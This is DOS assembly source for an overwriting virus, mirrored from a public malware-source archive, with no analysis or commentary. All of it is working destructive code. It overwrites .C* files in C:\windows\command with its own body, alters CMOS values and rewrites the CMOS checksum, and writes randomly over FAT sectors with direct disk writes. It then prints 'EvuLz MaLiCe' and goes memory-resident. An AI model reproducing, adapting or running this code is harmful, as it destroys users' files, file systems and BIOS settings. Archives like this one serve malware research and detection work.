mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
177 lines
4.4 KiB
NASM
177 lines
4.4 KiB
NASM
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.model tiny
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.code
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seg_a segment byte public
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ASSUME CS:SEG_A, DS:SEG_A
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org 100h
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main proc
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find:
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mov ah,3bh
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mov dx,offset win
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int 21h
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mov Dx,offset conn
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mov cx,2h
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mov ah,4eh
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int 21h
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next:
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mov ah,4fh
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mov dx,offset conn
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int 21h
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open:
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mov ah,43H
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mov dx,09Eh
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mov al,0
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int 21H
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mov cl,0
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mov ah,43H
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nop
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mov dx,09Eh
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mov al,1
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int 21H
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mov ax,3d02h
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mov dx,9eh
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int 21h
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write:
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xchg bx,ax
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mov cx,833
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mov ah,40h
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mov dx,100h
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int 21h
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close:
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mov ah,3eh
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int 21h
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inc cntr
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cmp cntr,5
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jge message
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call next
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message:
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mov ah,3bh
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mov al,00h
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mov dx,offset UP_ONE
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int 21h
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cmp ax,3
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jne next
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mov cntr,0000
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C_MAN:
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mov ah,09h
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mov dx,offset who
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int 21h
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inc cntr
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cmp cntr,65
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jge fat_fuck
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mov dx,cntr
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xor bx,bx
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mov bx,255
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call CMOS_CHCKSM
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CMOS_CHCKSM:
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xor ax,ax
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mov al,2Eh
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out 70h,al
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in al,71h
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xchg ch,al
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mov al,2Fh
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out 70h,al
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in al,71h
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xchg cl,al
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push dx
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xchg dl,al
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out 70h,al
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in al,71h
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sub cx,ax
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add cx,bx
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pop dx
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xchg dl,al
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out 70h,al
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xchg al,bl
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out 71h,al
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mov al,2Eh
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out 70h,al
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xchg al,ch
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out 71h,al
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mov al,2Fh
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out 70h,al
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xchg al,cl
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out 71h,al
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call C_MAN
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fat_fuck:
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push dx
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push bx
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push cx
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push ax
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push bp
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mov ax,0dh
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int 21h
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mov ah,19h
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int 21h
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xor dx,dx
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call load_sec
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mov bp,bx
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mov bx,word ptr es:[bp+16h]
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push ax
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call rnd_num
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cmp bx,ax
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jbe alter_fat1
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mov ax,bx
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alter_fat1:
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xchg ax,dx
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pop ax
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mov cx,1
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int 26h
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add dx,bx
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int 26h
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pop bp
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pop ax
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pop cx
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pop bx
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pop dx
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CALL JUST_TO_MAKE_IT_WORSE
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load_sec:
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push cx
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push ds
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push ax
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push cs
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pop ds
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push cs
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pop es
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mov ax,0dh
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int 21h
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pop ax
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mov cx, 1
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mov bx, offset sec_buf
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int 25h
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pop ds
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pop cx
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ret
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rnd_num:
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push cx
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push dx
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xor ax,ax
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int 1ah
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xchg dx,ax
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pop dx
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pop cx
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ret
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JUST_TO_MAKE_IT_WORSE:
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mov ah,31h
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mov dx,7530h
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int 21H
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RET
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sec_buf dw 100h dup(?)
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win db 'C:\windows\command',0
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conn db '*.C*',0
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who db '<27> EvuLz MaLiCe <20>$'
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cntr dw 0
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up_one db '..',0
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main endp
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seg_a ends
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end find
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